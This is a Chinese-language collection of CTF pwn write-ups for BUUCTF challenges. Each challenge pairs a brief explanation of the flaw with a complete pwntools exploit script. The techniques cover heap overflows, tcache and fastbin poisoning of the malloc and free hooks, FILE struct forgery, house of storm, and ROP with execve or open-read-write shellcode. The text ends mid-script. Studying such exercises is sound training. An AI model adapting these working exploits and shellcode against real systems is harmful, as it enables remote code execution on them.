这道题程序看似比较复杂,实际上好好分析程序的结构和逻辑之后,还是一个堆溢出,在updata函数中更新text时候可以更新0xFF长度的内容,造成溢出。这类题比较重要的是一定要弄清楚程序中的各种结构再下手。
libc泄漏的手段还是通过small bin free进unsorted bin之后打印出main_arena附近的地址;get shell是通过堆溢出修改FD指针打malloc hook,惊喜的是,居然不用realloc来调节栈地址了,直接用one gadget就打通了。
from pwn import *
#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 25457)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add_chapter(chapter):
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil("name:")
io.send(chapter)
def add_section(chapter, section):
io.recvuntil("choice:")
io.sendline("2")
io.recvuntil("into:")
io.sendline(chapter)
io.recvuntil("0x")
section_ptr = int(io.recvuntil("\n")[:-1], 16)
io.recvuntil("name:")
io.send(section)
return section_ptr
def add_text(section, size, text):
io.recvuntil("choice:")
io.sendline("3")
io.recvuntil("into:")
io.sendline(section)
io.recvuntil("write:")
io.sendline(str(size))
io.recvuntil("Text:")
io.send(text)
def remove_chapter(chapter):
io.recvuntil("choice:")
io.sendline("4")
io.recvuntil("name:")
io.sendline(chapter)
def remove_section(section):
io.recvuntil("choice:")
io.sendline("5")
io.recvuntil("name:")
io.sendline(section)
def remove_text(text):
io.recvuntil("choice:")
io.sendline("6")
io.recvuntil("name:")
io.sendline(text)
def preview():
io.recvuntil("choice:")
io.sendline("7")
def update_text(section, text):
io.recvuntil("choice:")
io.sendline("8")
io.recvuntil("Text):")
io.sendline("Text")
io.recvuntil("name:")
io.sendline(section)
io.recvuntil("New Text:")
io.send(text)
io.recvuntil("create: ")
io.sendline("start")
add_chapter("c0")
add_section("c0", "s0")
add_text("s0", 0x90, "aaa")
add_section("c0", "s1")
add_section("c0", "s2")
add_section("c0", "s3")
add_section("c0", "s4")
remove_text("s0")
add_text("s0", 0x90, "a"*0x8)
preview()
io.recvuntil("Text:aaaaaaaa")
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 88
libc_addr = main_arena - 0x3c4b20
print "main arena: " + hex(main_arena)
print "libc addr: " + hex(libc_addr)
# edit fd to attack malloc hook
add_text("s1", 0x60, "aa")
add_text("s2", 0x60, "aa")
remove_text("s2")
fake_fd = main_arena - 0x33
payload = "\x00"*0x60
payload += p64(0x0)
payload += p64(0x71)
payload += p64(fake_fd)
update_text("s1", payload)
add_text("s3", 0x60, "aa")
one_gadget = libc_addr + 0x4526a
realloc_addr = libc_addr + libc.symbols["__libc_realloc"]
add_text("s4", 0x60, "a")
payload = "a"*0xb
payload += p64(one_gadget)
payload += p64(realloc_addr)
update_text("s4", payload)
#debug("b *$rebase(0xF5F)")
io.recvuntil("choice:")
io.sendline("1")
io.interactive()
第一次做IO FILE的题目,记录一下。程序在exit功能处有一个bss段上的溢出,可以覆盖file指针,于是思路就是将file指针指向伪造的FILE struct结构体,并同时将vtable指针指向有是system的区域。
有几个注意点:
from pwn import *
#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 26869)
#io = remote("chall.pwnable.tw", 10200)
libc = ELF("./libc_32.so.6")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def open(file_name):
io.recvuntil("choice :")
io.sendline("1")
io.recvuntil("see :")
io.sendline(file_name)
def read():
io.recvuntil("choice :")
io.sendline("2")
def write():
io.recvuntil("choice :")
io.sendline("3")
def close():
io.recvuntil("choice :")
io.sendline("4")
def exit(name):
io.recvuntil("choice :")
io.sendline("5")
io.recvuntil("name :")
io.sendline(name)
open("/proc/self/maps")
read()
write()
io.recvline()
io.recvline()
io.recvline()
io.recvline()
libc_addr = int(io.recv(8), 16) + 0x1000
print "libc addr: " + hex(libc_addr)
close()
system_addr = libc_addr + libc.symbols["system"]
open("/proc/self/maps")
fake_file_addr = 0x0804B300
payload = "a"*0x20
payload += p32(fake_file_addr) #addr:0x0804B280
payload += "\x00"*0x7c
payload += "\xff\xdf\xff\xff;sh".ljust(0x94, "\x00") #addr:0x0804B300 fake file struct
payload += p32(fake_file_addr+0x94+4) ##addr:0x0804B394 vtable
payload += p32(0x0) * 2
payload += p32(system_addr)
exit(payload)
io.interactive()
读取ID的时候,由于用的read函数,没有\x00的截断,所以在下面puts的时候就可以泄漏出栈上的地址,进而得到libc基址。然后就是tcache double free,打__free_hook,最后执行system("/bin/sh")
from pwn import *
#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 25940)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def debug():
gdb.attach(io)
def add(size, content):
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil("story: \n")
io.sendline(str(size))
io.recvuntil("story: ")
io.send(content)
def delete(index):
io.recvuntil("choice:")
io.sendline("4")
io.recvuntil("index:\n")
io.sendline(str(index))
io.recvuntil("name?\n")
io.sendline("coco")
io.recvuntil("ID.\n")
io.send("a"*8)
io.recvuntil("a"*8)
libc_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x81237
print "libc addr: " + hex(libc_addr)
add(0x30, "a")
add(0x20, "/bin/sh\x00")
delete(0)
delete(0)
add(0x30, p64(libc_addr + libc.symbols["__free_hook"]))
add(0x30, "a")
add(0x30, p64(libc_addr + libc.symbols["system"]))
delete(1)
#debug()
io.interactive()
这道题没有puts函数,所以这里用stdout来泄漏libc。将一个0x70的chunk同时放入fastbin和unsorted bin中,这样就可以在fastbin的fd指针踩出libc中的地址,然后修改后几位(有一位需要爆破),让fd指针指向_IO_2_1_stdout_结构体所在的fake chunk,修改_flag和write base,使得打印出libc中的地址。最后打malloc hook来get shell。
注意点:
#coding=utf-8
from pwn import *
from IPython import embed as ipy
#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debug(command=None):
if not command:
gdb.attach(io)
else:
gdb.attach(io, command)
def create(size, index, content, flag=0):
if flag:
io.recvuntil("choice >> ")
else:
io.recvuntil("choice >> \n")
io.sendline("1")
io.recvuntil("weapon: ")
io.sendline(str(size))
io.recvuntil("index: ")
io.sendline(str(index))
if flag:
io.recvuntil("name:")
else:
io.recvuntil("name:\n")
io.send(content)
def delete(index, flag=0):
if flag:
io.recvuntil("choice >> ")
else:
io.recvuntil("choice >> \n")
io.sendline("2")
io.recvuntil("idx :")
io.sendline(str(index))
def rename(index, content, flag=0):
if flag:
io.recvuntil("choice >> ")
else:
io.recvuntil("choice >> \n")
io.sendline("3")
io.recvuntil("idx: ")
io.sendline(str(index))
if flag:
io.recvuntil("content:")
else:
io.recvuntil("content:\n")
io.send(content)
def exp():
payload = p64(0) + p64(0x21)
create(0x10, 0, payload) #0
create(0x60, 1, "a") #1
create(0x10, 2, "a") #2
create(0x10, 3, "a") #3
delete(3)
delete(2)
rename(2, p8(0x10))
create(0x10, 4, "a")
delete(1)
payload = p64(0x0) + p64(0x91)
create(0x10, 5, payload)
delete(1)
fake_chunk = 0x75dd
# debug("b *$rebase(0xC11)")
# ipy()
rename(1, p16(fake_chunk))
rename(5, p64(0x0) + p64(0x71)) #fastbin的大小要改回去,不然malloc时候会出问题
create(0x60, 7, "a")
payload = "\x00"*0x33
payload += p64(0xfbad1800)
payload += p64(0x0)*0x3
payload += p8(0x88)
create(0x60, 8, payload)
stdin_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = stdin_addr - libc.symbols["_IO_2_1_stdin_"]
print "libc addr: " + hex(libc_addr)
# 之后puts函数由于stdout结构体被改了,所以不带\n了
#attack malloc hook
create(0x60, 9, "a", 1)
delete(9, 1)
fake_fd = libc_addr + 0x3c4aed
rename(9, p64(fake_fd), 1)
create(0x60, 10, "a", 1)
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
one_gadget = libc_addr + 0x4526a
realloc_addr = libc_addr + libc.symbols["__libc_realloc"]
payload = "\x00"*0xb
payload += p64(one_gadget)
payload += p64(realloc_addr+6)
create(0x60, 11, payload, 1)
print "ONE MORE TIME"
io.recvuntil("choice >> ")
io.sendline("1")
io.recvuntil("weapon: ")
io.sendline("10")
io.recvuntil("index: ")
io.sendline("12")
io.interactive()
if __name__ == '__main__':
while True:
#io = process("./pwn")
io = remote("node3.buuoj.cn", 27402)
try:
exp()
io.close()
except Exception:
continue
没有显示相关的函数,于是马上想到打stdout来泄漏libc。题目是部署在ubuntu18的,这个题目思路很值得学习。思路:
PS: 这种题调试起来好辛苦,目前只会用IPython来调试,不知道有什么更好的办法。
#coding=utf-8
from pwn import *
from IPython import embed as ipy
#context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def new(size, content, flag=0):
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil("size:")
io.sendline(str(size))
io.recvuntil("content:")
if flag:
io.send(content)
else:
io.sendline(content) #因为是通过\n截断,且不加\x00
def delete():
io.recvuntil("choice:")
io.sendline("2")
def exp():
heap = 0x7000
stdout = 0x1760
new(0x70, "")
delete()
delete()
#debug("b *$rebase(0x99F)") #stop in new
#debug("b *$rebase(0xD2B)") #stop in malloc
#debug("b *$rebase(0x98C)") #stop in delete
#ipy()
new(0x70, p16(heap+0x10))
new(0x70, "")
new(0x70, "\xff"*0x40) #把tcache的count位全部填满
delete() #tcache struct进入unsorted bin
new(0x40, "\xff"*0x30) #根据last remainder的特性,将unsorted bin分成两块
new(0x10, p16(stdout))
payload = p64(0xfbad1800)
payload += p64(0x0)*3
payload += p8(0xc8)
new(48, payload) #修改stdout结构体
stdin_addr = u64(io.recv(6).ljust(8, "\x00"))
libc_addr = stdin_addr - libc.symbols["_IO_2_1_stdin_"]
print "_IO_2_1_stdin_: " + hex(stdin_addr)
print "libc addr: " + hex(libc_addr)
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL
# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL
# attack malloc hook
new(0x10, p64(libc_addr+0x3ebc28))
one_gadget = libc_addr + 0x4f322
realloc_addr = libc_addr + libc.symbols["__libc_realloc"]
payload = p64(one_gadget)
payload += p64(realloc_addr+9)
new(112, payload)
# get shell
print "ONE MORE TIME!!!!!!"
io.recvuntil("choice:")
io.sendline("1")
io.recvuntil("size:")
io.sendline("10")
io.interactive()
if __name__ == '__main__':
while True:
#io = process("./pwn")
io = remote("node3.buuoj.cn", 29330)
try:
exp()
io.close()
except Exception:
continue
这道题考察的知识点很多:tcache,off by null,unlink,unsorted bin attack等。程序一开始用mmap分配了一块可读可写可执行的区域,并且菜单中没有给显示相关的函数,所以推测是写shellcode到mmap的区域去执行。
注意点:1. 由于BUUCTF这道题设置在ubuntu18下,要把tcache填满才能释放chunk到unsorted bin中。2. 做unsorted bin attack时候,这里只能用大于0x408的chunk才行,不知道为什么。。3.另外还学到一个好用的gdb script,调试的时候更加方便了
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 25860)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
gdb_script = '''
b *$rebase(0xC85)
set $ptr=(void **)$rebase(0x202060)
define pr
x/16gx $ptr
end
'''
def alloc(size, flag=0):
io.recvuntil(">> ")
io.sendline("1")
io.recvuntil("Size: ")
io.sendline(str(size))
if flag:
io.recvuntil("Address ")
ptr_addr = int(io.recvuntil("\n")[:-1], 16)
return ptr_addr
def delete(index):
io.recvuntil(">> ")
io.sendline("2")
io.recvuntil("Index: ")
io.sendline(str(index))
def fill(index, content):
io.recvuntil(">> ")
io.sendline("3")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Content: ")
io.send(content)
io.recvuntil("Mmap: ")
mmap_addr = int(io.recvuntil("\n")[:-1], 16)
chunk0_addr = alloc(0x40, 1) #0
chunk1_addr = alloc(0x48, 1) #1
alloc(0x4f0) #2
alloc(0x10) #3
#fill tcache[0x100]
for i in range(7):
alloc(0xf0)
for i in range(4, 4+7):
delete(i)
payload = p64(0x0)
payload += p64(0x41)
payload += p64(chunk1_addr-0x18)
payload += p64(chunk1_addr-0x10)
payload = payload.ljust(0x40, "\x00")
payload += p64(0x40)
fill(1, payload)
delete(2) #unlink
payload = p64(0x130)
payload += p8(0xc8)
payload += "\n"
fill(1, payload)
payload = p64(chunk0_addr-0x10)
payload += "\n"
fill(0, payload)
alloc(0x530) #unsorted bin attack
payload = p64(0x130)
payload += p8(0x30)
payload += "\n"
fill(1, payload)
fill(0, p64(mmap_addr)+"\n") #malloc hook: mmap addr
payload = p64(0x130)
payload += p64(mmap_addr)
payload += "\n"
fill(1, payload)
shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
print shellcode
fill(0, shellcode+"\n")
alloc(0x20)
io.sendline("cat flag")
#debug(gdb_script)
io.interactive()
这道题考察的知识点非常多,难度比较高,有:
下面针对上面的知识点来梳理一下:
首先可以看到程序一开始调用了prctl函数,应该是做了一些系统调用的限制,用seccomp-tools dump ./pwn
命令来查看具体的限制。看到禁止了execve等调用,那说明应该是要写入orw的shellcode来执行。并且有mallopt(1, 0),禁用了fastbin。
接着,可以看到在edit函数中有个很明显的off by null,这个漏洞可以帮助我们做到堆块的堆叠,这里使用前向的overlapping。举个例子,申请四个堆块,大小分别为0x80,0x40,0x430,0x40。首先free第一个堆块,进入unsorted bin(因为fastbin被禁用了),fd=bk=unsorted bin。通过对第二个堆块edit,把第三个堆块的pre_size改为0xc0(0x80+0x40),又因为off by null,把第三个chunk的size从0x430修改到0x400。然后free第三个堆块,会和前面的堆块合并,再落入unsorted bin中。然后申请一个大小为0x80的堆块, 最后申请一个0x440的堆块,就能达到泄漏libc的目的。
house of storm需要一个可控的unsorted bin和一个可控的large bin,可以申请到任意一个地址的chunk。示例代码为:
A=malloc(0x400-0x10) //A
malloc(0x10) //gap
B=malloc(0x420-0x10) //B
malloc(0x10) //gap
free(A) //free A into unsorted bin.
malloc(0x500) //sort A into largebin.
free(B) //free B into unsorted bin.
A+0x18=evil_addr-0x20+8-5 //A->bk_nextsize=evil_addr-0x20+8-5.
A+0x8=evil_addr+8 //A->bk=evil_addr+8.
B+0x8=evil_addr //B->bk=evil_addr
malloc(0x48) //evil_addr are malloced out here.
具体的解释可以参考这个博客:house of storm
通过house of storm得到申请到__free_hook,在上面写上setcontext上面的gadget,把栈迁移到我们可控的一个chunk上,接着执行mprotet,给堆区加上执行的权限,再写入orw的shellcode。
#coding=utf-8
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 26272)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add(size):
io.recvuntil("Choice: \n")
io.sendline("1")
io.recvuntil("Size: ")
io.sendline(str(size))
def edit(index, content):
io.recvuntil("Choice: \n")
io.sendline("2")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Content: ")
io.send(content)
def delete(index):
io.recvuntil("Choice: \n")
io.sendline("3")
io.recvuntil("Index: ")
io.sendline(str(index))
def show(index):
io.recvuntil("Choice: \n")
io.sendline("4")
io.recvuntil("Index: ")
io.sendline(str(index))
add(0x78) #0
add(0x38) #1
add(0x420) #2
add(0x30) #3
add(0x60) #4
add(0x20) #5
add(0x88) #6
add(0x48) #7
add(0x420) #8
add(0x20) #9
add(0x100) #10
add(0x400) #11
# leak libc
delete(0) # 为了bypass unlink检测
edit(1, "\x00"*0x30 + p64(0xc0))
edit(2, "\x00"*0x3f0 + p64(0x400) + p64(0x31))
delete(2) # 会触发unlink,前向overlapping
add(0x78) #0
show(1)
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 88
libc_addr = main_arena - 0x3c4b78 + 88
print "libc addr: " + hex(libc_addr)
# leak heap
add(0x30) #2==1
delete(4) #fd->0x70->0x400
delete(2) #fd->0x440->0x70
show(1)
heap_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x530
print "heap addr: " + hex(heap_addr)
# calloc from unsortedbin 0x70,0x440 put into largebin
add(0x50) #2
delete(6)
edit(7, "\x00"*0x40 + p64(0xe0))
edit(8, "\x00"*0x3f0 + p64(0x100) + p64(0x31))
delete(8)
#这里一定要两步,如果直接add(0x80)是不行的,因为last_renmainder没有指向unsorted bin
add(0x430) #4==1 calloc from large bin
add(0x88) #6 进入unsorted bin。
add(0x440) #8==7
# largebin attack--house of storm
delete(4)
delete(8) #fd->0x450->0x440
add(0x440) #4=7 put 0x440 into largebin
delete(4) #put 0x450 into unsortedbin
free_hook = libc_addr + libc.symbols["__free_hook"]
edit(7,p64(0)+p64(free_hook-0x20)) #0x450
edit(1,p64(0)+p64(free_hook-0x20+0x8)+p64(0)+p64(free_hook-0x20-0x18-0x5))#0x440
add(0x48) #4 这里只有chunk的地址为56开头时才会成功
chunk11_addr = heap_addr + 0xc30
setcontext_gadget = libc_addr + 0x47b75
edit(4, "\x00"*0x10 + p64(setcontext_gadget)) #把free hook的地址覆盖成setcontext的gadget地址
'''
[rdi+0xa0] chunk11_addr
[rdi+0xa8] ret;
'''
payload = "\x00"*0xa0 + p64(chunk11_addr) + p64(libc_addr+0x47bbf)
edit(10, payload)
payload = p64(libc_addr + 0x21102) #pop rdi; ret
payload += p64(heap_addr)
payload += p64(libc_addr + 0x1150c9) #pop rdx; pop rsi; ret
payload += p64(0x7)
payload += p64(0x2000)
payload += p64(libc_addr + libc.symbols["mprotect"]) #mprotect(heap_addr, 0x3000, 7)
payload += p64(chunk11_addr + 0x38) #jump到shellcode
#open("flag", 0)
#read(0, addr, 0x100)
#write(1, addr, 0x100)
shellcode = """
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, SYS_open
syscall ;//open("./flag", 0)
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov rax, SYS_read
syscall ;//read(fp, rsp, 0x100)
mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, SYS_write
syscall ;//write(1, rsp, 0x100)
mov rax, SYS_exit
syscall ;//程序中stdout没有设置不缓冲,所以要exit来fflush stdout缓冲
"""
shellcode = asm(shellcode)
payload += shellcode
edit(11, payload)
#debug("b *$rebase(0x12BD)")
delete(10)
io.interactive()
house of storm,简单版本的上一题
#coding=utf-8
from pwn import *
#context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
gdb_script = '''
set $ptr=(void **)0x13370800
define pr
x/16gx $ptr
end
b *$reabse(0xDE6)
'''
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add(size):
io.recvuntil("Command: ")
io.sendline("1")
io.recvuntil("Size: ")
io.sendline(str(size))
def update(index, content):
io.recvuntil("Command: ")
io.sendline("2")
io.recvuntil("Index: ")
io.sendline(str(index))
io.recvuntil("Size: ")
io.sendline(str(len(content)))
io.recvuntil("Content: ")
io.send(content)
def delete(index):
io.recvuntil("Command: ")
io.sendline("3")
io.recvuntil("Index: ")
io.sendline(str(index))
def show(index):
io.recvuntil("Command: ")
io.sendline("4")
io.recvuntil("Index: ")
io.sendline(str(index))
while True:
#io = process("./pwn")
io = remote("node3.buuoj.cn", 26367)
add(0x18) #0
add(0x508) #1
add(0x18) #2
add(0x18) #3
add(0x508) #4
add(0x18) #5
add(0x18) #6
#overlap
update(1, "a"*0x4f0 + p64(0x500)) #pre_size=0x500是为了bypass “真正取出chunk”时的unlink检测
delete(1) #释放1进入unsorted 0x510, 2的pre_size=0x510,pre_is_use=0
update(0, "a"*(0x18-12)) #off by nul #把1的size=0x500
add(0x18) #1
add(0x4d8) #7
delete(1)
delete(2) #前向合并
add(0x30) #1
add(0x4e8) #2 2,7重叠
#overlap
update(4, "a"*0x4f0 + p64(0x500))
delete(4)
update(3, "a"*(0x18-12))
add(0x18) #4
add(0x4d8) #8
delete(4)
delete(5)
add(0x40) #4
# 把大的放入unsorted bin,小的放入largebin
delete(2) #fd->0x4f0->0x4e0
add(0x4e8) #2, 此时0x4e0进入largebin,且可以通过8来控制其中的内容
delete(2) #此时0x4f0进入usorted bin,且可以通过7来控制其中的内容
#house of storm
fake_chunk = 0x133707f0
#unsorted->bk = fake_chunk
update(7, "\x00"*0x18+p64(0x4f1)+p64(0x0)+p64(fake_chunk)+p64(0x0)*2)
#largebin->bk = fake_chunk+8
#largebin->bk_nextsize = fake_chunk-0x18-5
update(8, "\x00"*0x28+p64(0x4e1)+p64(0x0)+p64(fake_chunk+8)+p64(0x0)+p64(fake_chunk-0x18-5))
try:
add(0x48) #2 通过house of storm申请到了存放ptr和size的区域。
#修改ptr和size区域的值
payload = p64(0x0)*2
payload += p64(0x13377331)
payload += p64(0x0)
payload += p64(0x13370848) #ptr0:这个位置存放着heap的地址
payload += p64(0x40) #size0
update(2, payload)
except Exception:
io.close()
continue
#泄漏heap
show(0)
io.recvuntil("Chunk[0]: ")
heap = u64(io.recv(6).ljust(8, "\x00")) - 0x28
print "heap addr: " + hex(heap)
#泄漏libc
payload = p64(0x0)
payload += p64(heap+0x70)
payload += p64(0x20)
update(0, payload)
show(3)
io.recvuntil("Chunk[3]: ")
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 88
libc_addr = main_arena - 0x3c4b20
print "libc addr: " + hex(libc_addr)
#打free hook
payload = p64(0x0)
payload += p64(libc_addr + libc.symbols["__free_hook"])
payload += p64(0x30)
payload += p64(0x13370868)
payload += "/bin/sh\x00"
update(0, payload)
update(3, p64(libc_addr + libc.symbols["system"]))
delete(4)
#debug(gdb_script)
io.interactive()
考点:
另外限制了free的次数和总共操作的次数,要稍微优化一下代码。
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 28253)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
gdb_script = '''
set $ptr=(void **)$rebase(0x202100)
define pr
x/20gx $ptr
end
set $size=(void **)$rebase(0x2020E0)
define sz
x/20wx $size
end
set $count=(void **)$rebase(0x202024)
define ct
x/10gx $count
end
'''
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add(size):
io.recvuntil("Choice: ")
io.sendline("1")
io.recvuntil("size: ")
io.sendline(str(size))
def show(index):
io.recvuntil("Choice: ")
io.sendline("2")
io.recvuntil("id: ")
io.sendline(str(index))
def edit(index, content):
io.recvuntil("Choice: ")
io.sendline("3")
io.recvuntil("id: ")
io.sendline(str(index))
io.recvuntil("content: ")
io.send(content)
def delete(index):
io.recvuntil("Choice: ")
io.sendline("4")
io.recvuntil("id: ")
io.sendline(str(index))
add(0x100) #0
#double free
delete(0)
delete(0)
#leak heap addr
show(0)
io.recvuntil("content: ")
heap_addr = u64(io.recv(6).ljust(8, "\x00")) - 0x260
print "heap addr: " + hex(heap_addr)
#modify fd to tcache struct
add(0x100) #1
edit(1, p64(heap_addr+0x10))
add(0x100) #2
add(0x100) #3
payload = "\xff"*0x40
payload += p64(0x0) * 7
payload += p64(0x66660000)
edit(3, payload)
#leak libc
add(0x10) #4
delete(0)
show(0)
io.recvuntil("content: ")
main_area = u64(io.recv(6).ljust(8, "\x00")) - 96
libc_addr = main_area - 0x3ebc40
print "libc addr: " + hex(libc_addr)
add(0x88) #5 count=14
shellcode = """
mov rax, 0x67616c662f2e
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, SYS_open
syscall ;//open("./flag", 0)
mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov rax, SYS_read
syscall ;//read(fp, rsp, 0x100)
mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, SYS_write
syscall ;//write(1, rsp, 0x100)
mov rax, SYS_exit
syscall ;//程序中stdout没有设置不缓冲,所以要exit来fflush stdout缓冲
"""
shellcode = asm(shellcode)
print len(shellcode)
edit(5, shellcode)
malloc_hook = libc_addr + libc.symbols["__malloc_hook"]
payload = "\xff"*0x40
payload += p64(malloc_hook)
edit(3, payload)
add(0x18) #6
edit(6, p64(0x66660000))
#get flag
add(0x10)
#debug(gdb_script)
io.interactive()
漏洞点在merge函数中,用strcpy和strcat的函数不会制定长度,一直到\x00为止。可以做到off by one。具体的操作是分别申请0x10,0x18,0xb0这三个堆块,merge 0x10和0x18,会申请一个0x38的堆块,填入的长度却是0x39,即可以将下一个堆块的size改成0xb0。然后做overlapping,泄漏libc地址,接着修改tcache的fd到free hook地址,覆盖为system。
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
#io = process("./pwn")
io = remote("node3.buuoj.cn", 27018)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
gdb_srcipt = '''
set $ptr=(void **)$rebase(0x2020A0)
define pr
x/20gx $ptr
end
'''
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add(size, content):
io.recvuntil(">>")
io.sendline("1")
io.recvuntil("len:")
io.sendline(str(size))
io.recvuntil("content:")
io.send(content)
def show(index):
io.recvuntil(">>")
io.sendline("2")
io.recvuntil("idx:")
io.sendline(str(index))
def delete(index):
io.recvuntil(">>")
io.sendline("3")
io.recvuntil("idx:")
io.sendline(str(index))
def merge(index1, index2):
io.recvuntil(">>")
io.sendline("4")
io.recvuntil("idx1:")
io.sendline(str(index1))
io.recvuntil("idx2:")
io.sendline(str(index2))
add(0x10, "a"*0x10) #0
add(0x18, "a"*0x18) #1
add(0xb0, "a"+"\n") #2
#fill tcache (0xb0)
for i in range(7):
add(0xb0, "a"+"\n")
for i in range(3, 3+7):
delete(i)
add(0x28, "a"+"\n") #3
add(0x80, "a"+"\n") #4
add(0x20, "a"+"\n") #5
add(0x20, "a"+"\n") #6
delete(3)
merge(0, 1) #3, 修改4的size为0x91->0xc1
delete(4)
add(0x80, "a"+"\n") #4
show(5)
main_arena = u64(io.recv(6).ljust(8, "\x00")) - 96
libc_addr = main_arena - 0x3ebc40
print "libc addr: " + hex(libc_addr)
add(0x20, "a"+"\n") #7,清空unsorted bin
delete(3)
merge(0, 1) #3, 修改4的size为0x91->0xc1
delete(4)
delete(5)
add(0xa0, "a"*0x80+p64(0x0)+p64(0x21)+p64(libc_addr+libc.symbols["__free_hook"])+"\n") #4
add(0x20, "a"+"\n") #5
add(0x20, p64(libc_addr+libc.symbols["system"])+"\n") #8
add(0x40, "/bin/sh"+"\n") #9
delete(9)
#debug(gdb_srcipt)
io.interactive()
一个负数去负之后还是负数,那就是0x80000000,取负(按位取反+1)还是原数,直接输入-2147483648即可。
迁移栈到bss上
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
io = process("./pwn")
#io = remote("node3.buuoj.cn", 29407)
e = ELF("./pwn")
#io = remote("node3.buuoj.cn", 25022)
gdb_srcipt = '''
b *0x0804859C
define pr
x/20wx 0x0804A340
end
'''
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
bss_addr = 0x0804A040 + 0x300
call_read_addr = 0x0804858B
sh_addr = 0x08048670
leave_ret = 0x08048532
#debug(gdb_srcipt)
io.recv()
payload = "a"*0x18
payload += p32(bss_addr+0x18) #ebp
payload += p32(call_read_addr) #ret
io.send(payload)
sleep(0.1)
payload = "aaaa"
payload += p32(e.plt["system"])
payload += "aaaa"
payload += p32(sh_addr)
payload = payload.ljust(0x18, 'a')
payload += p32(bss_addr) #ebp
payload += p32(leave_ret) #ret
io.send(payload)
#debug(gdb_srcipt)
io.interactive()
#coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
io = process("./pwn")
io = remote("node3.buuoj.cn", 28918)
def debug(command=None):
if command:
gdb.attach(io, command)
else:
gdb.attach(io)
def add(size):
io.recvuntil("choice>\n")
io.sendline("1")
io.recvuntil("size>\n")
io.sendline(str(size))
def delete(index):
io.recvuntil("choice>\n")
io.sendline("2")
io.recvuntil("index>\n")
io.sendline(str(index))
def edit(index, content):
io.recvuntil("choice>\n")
io.sendline("3")
io.recvuntil("index>\n")
io.sendline(str(index))
io.send(content)
def backdoor():
